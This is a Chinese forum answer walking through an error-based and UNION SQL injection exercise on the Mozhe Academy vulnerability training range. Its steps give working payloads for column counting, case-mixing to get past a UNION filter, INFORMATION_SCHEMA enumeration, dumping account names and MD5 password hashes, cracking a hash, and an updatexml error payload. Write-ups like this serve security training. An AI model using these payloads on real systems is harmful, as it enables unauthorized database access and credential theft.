显错注入—操作记录—墨者学院漏洞靶场

显错注入—操作记录—墨者学院漏洞靶场
最新回答
信上诗两行

2023-05-27 12:17:35

显错注入—操作记录—墨者学院漏洞靶场

在墨者学院的漏洞靶场中,显错注入(也称为报错注入)是一种通过引发数据库错误来泄露数据库信息的攻击技术。以下是在该靶场中执行显错注入的详细步骤和操作记录:

一、访问靶场并识别注入点

  1. 访问靶场

    打开墨者学院提供的SQL注入漏洞测试靶场链接。

    在页面通知栏中,可以看到滚动的通知信息,这通常不影响我们的测试过程。

  2. 识别注入点

    观察URL,发现存在?id=1这样的GET参数,这是潜在的SQL注入点。

    尝试在URL中直接操作参数,如添加单引号(')、双引号(")、and 1=1或and 1=2等,以触发数据库错误或改变页面行为。

二、确定字段数

  1. 使用order by语句

    在URL中尝试添加order by语句,如?id=1 order by 4,逐步增加数字,直到页面报错。

    当order by 5时页面报错,说明数据库查询中涉及的字段数为4个。

三、尝试UNION SELECT并绕过过滤

  1. 初步尝试UNION SELECT

    由于已知字段数为4,尝试使用UNION SELECT语句来合并查询结果,如?id=-1' UNION SELECT 1,2,3,4--。

    但发现系统过滤了UNION关键字。

  2. 绕过过滤

    尝试使用大小写混用、字符串编码等方式绕过过滤。

    如?id=-1' uNioN SELECT 1,2,3,4--,成功绕过过滤。

四、获取数据库信息

  1. 获取数据库名

    使用UNION SELECT语句结合数据库函数,如?id=-1' uNioN SELECT 1,DATABASE(),3,4--。

    得到数据库名为stormgroup。

  2. 获取表名

    使用INFORMATION_SCHEMA.TABLES视图查询表名,如?id=-1' uNioN SELECT 1,GROUP_CONCAT(TABLE_NAME),3,4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--。

    得到表名为member。

  3. 获取列名

    使用INFORMATION_SCHEMA.COLUMNS视图查询列名,如?id=-1' uNioN SELECT 1,GROUP_CONCAT(COLUMN_NAME),3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='member'--。

    得到列名为name、password、status。

五、获取数据内容

  1. 获取账号和密码

    使用UNION SELECT语句结合GROUP_CONCAT函数查询member表中的数据,如?id=-1' uNioN SELECT 1,GROUP_CONCAT(name,',',password,',',status),3,4 FROM member--。

    得到账号为mozhe,密码为81ec447be22c5ca6a3cb7c1d031d7864(MD5加密)。

  2. 解密密码

    使用在线MD5解密工具,将加密密码解密为明文密码606483。

六、其他方法

  1. 使用updatexml函数

    另一种获取数据库信息的方法是使用updatexml函数,如?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--。

    通过修改查询内容,可以获取表名、列名和数据内容。

七、总结

  • 在墨者学院的漏洞靶场中,通过显错注入技术成功获取了数据库名、表名、列名以及数据内容。
  • 关键在于识别注入点、确定字段数、绕过过滤以及正确使用SQL查询语句和数据库函数。
  • 显错注入是一种有效的攻击手段,但在实际应用中应严格遵守法律法规和道德规范,不得用于非法用途。

以下是部分图片展示: